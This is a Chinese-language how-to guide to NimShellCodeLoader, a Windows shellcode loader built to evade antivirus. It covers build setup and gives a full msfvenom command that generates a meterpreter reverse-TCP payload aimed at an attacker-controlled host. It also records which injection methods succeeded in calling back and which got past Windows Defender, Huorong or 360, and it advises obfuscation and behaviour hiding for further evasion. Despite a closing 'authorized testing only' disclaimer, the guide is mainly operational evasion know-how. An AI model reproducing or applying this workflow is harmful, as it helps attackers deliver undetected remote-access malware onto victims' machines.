Nim之NimShellCodeLoader免杀学习
字数 2269 2025-08-29 08:31:54
NimShellCodeLoader免杀技术深度解析与实践指南
1. 项目概述
NimShellCodeLoader是由aeverj开发的一款基于Nim语言编写的Windows平台shellcode免杀加载器,具有以下核心特点:
- 提供21种不同的注入加载方法
- 支持两种加密技术(凯撒加密和3DES加密)
- 每次生成的文件拥有不同的hash值
- 密钥随机生成,增强免杀效果
2. 环境准备
2.1 Nim安装
- 从官网下载Windows x64版本:https://nim-lang.org/install.html
- 解压到C盘目录(如:C:\nim-1.6.4_x64)
- 添加bin目录到系统环境变量:
C:\nim-1.6.4_x64\nim-1.6.4\bin - 验证安装:cmd中输入
nim应显示帮助信息
2.2 MinGW安装(二选一)
方法一:直接安装
- 下载地址:https://sourceforge.net/projects/mingw-w64/files/
- 64位系统选择x86_64-posix-sjlj版本
- 解压到C盘根目录
- 添加bin目录到系统环境变量(如:C:\mingw64\bin)
- 验证:
gcc.exe --version
方法二:使用Nim自带的finish.exe
- 运行
finish.exe并按照提示操作 - 解压后添加路径:
C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin到环境变量
2.3 安装winim库
nimble install winim
3. 项目使用
3.1 直接使用预编译版本
从发布页面下载最新版本:https://github.com/aeverj/NimShellCodeLoader/releases
3.2 自行编译(需C#环境)
- 下载源代码版本
- 编译加密模块:
nim c -d:release --opt:size Tdea.nim
nim c -d:release --opt:size Caesar.nim
- 进行C#编译(需额外环境)
4. Shellcode生成
4.1 使用MSF生成
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f raw -o payload.bin
4.2 使用Cobalt Strike生成
- 建立监听
- 选择攻击-生成后门-Payload生成器
- 生成原始shellcode文件
5. 加载方法详解
5.1 OEP_Hiijack_Inject_Load
凯撒加密:
- 生成文件可执行
- MSF和CS上线正常
- 免杀能力:
- 火绒:通过
- Windows Defender:查杀
3DES加密:
- 生成程序无法正常执行
5.2 Thread_Hiijack_Inject_Load
凯撒加密:
- 生成但无法上线
3DES加密:
- CS上线成功
- Windows Defender查杀
5.3 APC_Ijnect_Load
凯撒加密/3DES加密:
- 上线失败
5.4 Early_Bird_APC_Injetc_Load
凯撒加密:
- 上线成功
- Windows Defender查杀
3DES加密:
- 双击后上线成功
5.5 Direct_Load
凯撒加密/3DES加密:
- 上线成功
- Windows Defender直接查杀
5.6 Thread_Pool_Wait
凯撒加密/3DES加密:
- 双击后直接上线
5.7 Fiber_Load
凯撒加密/3DES加密:
- 上线正常
5.8 CertEnumSystemStore
凯撒加密/3DES加密:
- 上线正常
5.9 CertEnumSystemStoreLocation
凯撒加密/3DES加密:
- 上线正常
5.10 CopyFile2
凯撒加密/3DES加密:
- 功能正常
6. 其他加载方法(简要)
以下方法均被Windows Defender查杀:
- EnumFontsW
- EnumFontFamiliesW
- EnumFontFamiliesExW
- EnumDisplayMonitors
- EnumDesktopWindows
- EnumDesktopW
- EnumChildWindows
- CopyFileEx
- CreateTimerQueueTimer_Tech
- CryptEnumOIDInfo
7. 免杀效果总结
- Windows Defender:所有方法均无法通过最新版(2022.03.17)
- 火绒:绝大多数方法可以通过
- 360杀毒:约一半方法可以通过
8. 常见问题解决
-
环境安装问题:
- 确保只使用一种MinGW安装方法
- 安装前不要使用Nim进行编译工作,避免缓存问题
-
执行报错问题:
- 部分加载方法(如3DES加密的OEP_Hiijack)可能无法执行
- 尝试更换加载方法或加密方式
-
无法上线问题:
- 检查shellcode生成是否正确
- 尝试不同的加载方法
- 确保监听配置正确
9. 进阶建议
-
自定义修改:
- 修改加密算法或密钥生成方式
- 组合不同的加载技术
- 添加垃圾代码或混淆
-
时效性注意:
- 免杀效果随时间递减
- 需持续关注杀软更新并相应调整
-
综合防御规避:
- 结合其他免杀技术使用
- 注意行为层面的隐藏
10. 参考资源
- 项目地址:https://github.com/aeverj/NimShellCodeLoader
- Nim语言官网:https://nim-lang.org/
- MinGW下载:https://sourceforge.net/projects/mingw-w64/files/
- winim库:https://github.com/khchen/winim
本指南基于2022年3月的测试结果,实际效果可能因环境变化而不同。使用时请遵守法律法规,仅用于授权测试和研究目的。